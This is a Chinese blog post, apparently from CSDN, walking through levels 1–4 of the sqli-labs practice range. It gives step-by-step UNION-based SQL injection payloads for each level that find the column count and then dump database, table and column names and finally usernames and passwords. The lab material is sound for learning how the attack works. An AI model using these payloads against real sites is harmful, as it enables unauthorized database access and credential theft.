sqli-labs靶场学习(一)

一.知识点

1.数据库

数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储,可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统,按照一定的逻辑结构组织数据,以方便高效地访问和维护。

2.数据库管理系统(DataBase Management System,DBMS)

数据库管理系统是一个操作和管理数据库的软件。它用于建立、使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性。用户通过数据库管理系统访问数据库中表内的数据。

3.基本步骤


1 、)寻找注入点
2 、)判断闭合方式
3 、)验证漏洞
4 、)判断列数及回显位
5 、)取数据
取数据库名
根据数据库名,取表名
根据数据库名、表名,取列名
取具体数据

二.sqli-labs

第一关

第一步判断是数字型还是字符型

输入?id=1'     //报错

输入?id=1' --+     //(--+为注释符)正常回显

所以sqli-labs-1为字符型注入

第二步判断其列数

用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

试出来是到3的时候报错,所以列数为3

?id=1'order by 3 --+

第三步显示报错位

  ?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

第四步爆库名以及版本

?id=-1' union select 1,database(),version()--+

找到了库名:security

版本:5.5.53

第五步:爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

第六步爆列名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

第七步:查询字段

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-2

第一步:判断是什么型

id=1--+

id=1‘--+显示报错 说明是数字型注入

接下来的步骤与sqli-labs一致,只是上一关是字符型注入这一题是数字型注入 payload如下

?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-3

第一步:判断什么型

输入id=1’ 提示注意)

输入id=1‘)报错

输入id=1’)--+

所以我们推断单引号字符型且有括号

同样接下来与前两题步骤一样

?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-4

方法同上,根据页面报错信息得知sql语句是双引号字符型且有括号

与前几关步骤相同

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

参考资料

http://t.csdnimg.cn/tiA6s

http://t.csdnimg.cn/LqSU9

http://t.csdnimg.cn/EAOse

  • 19
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值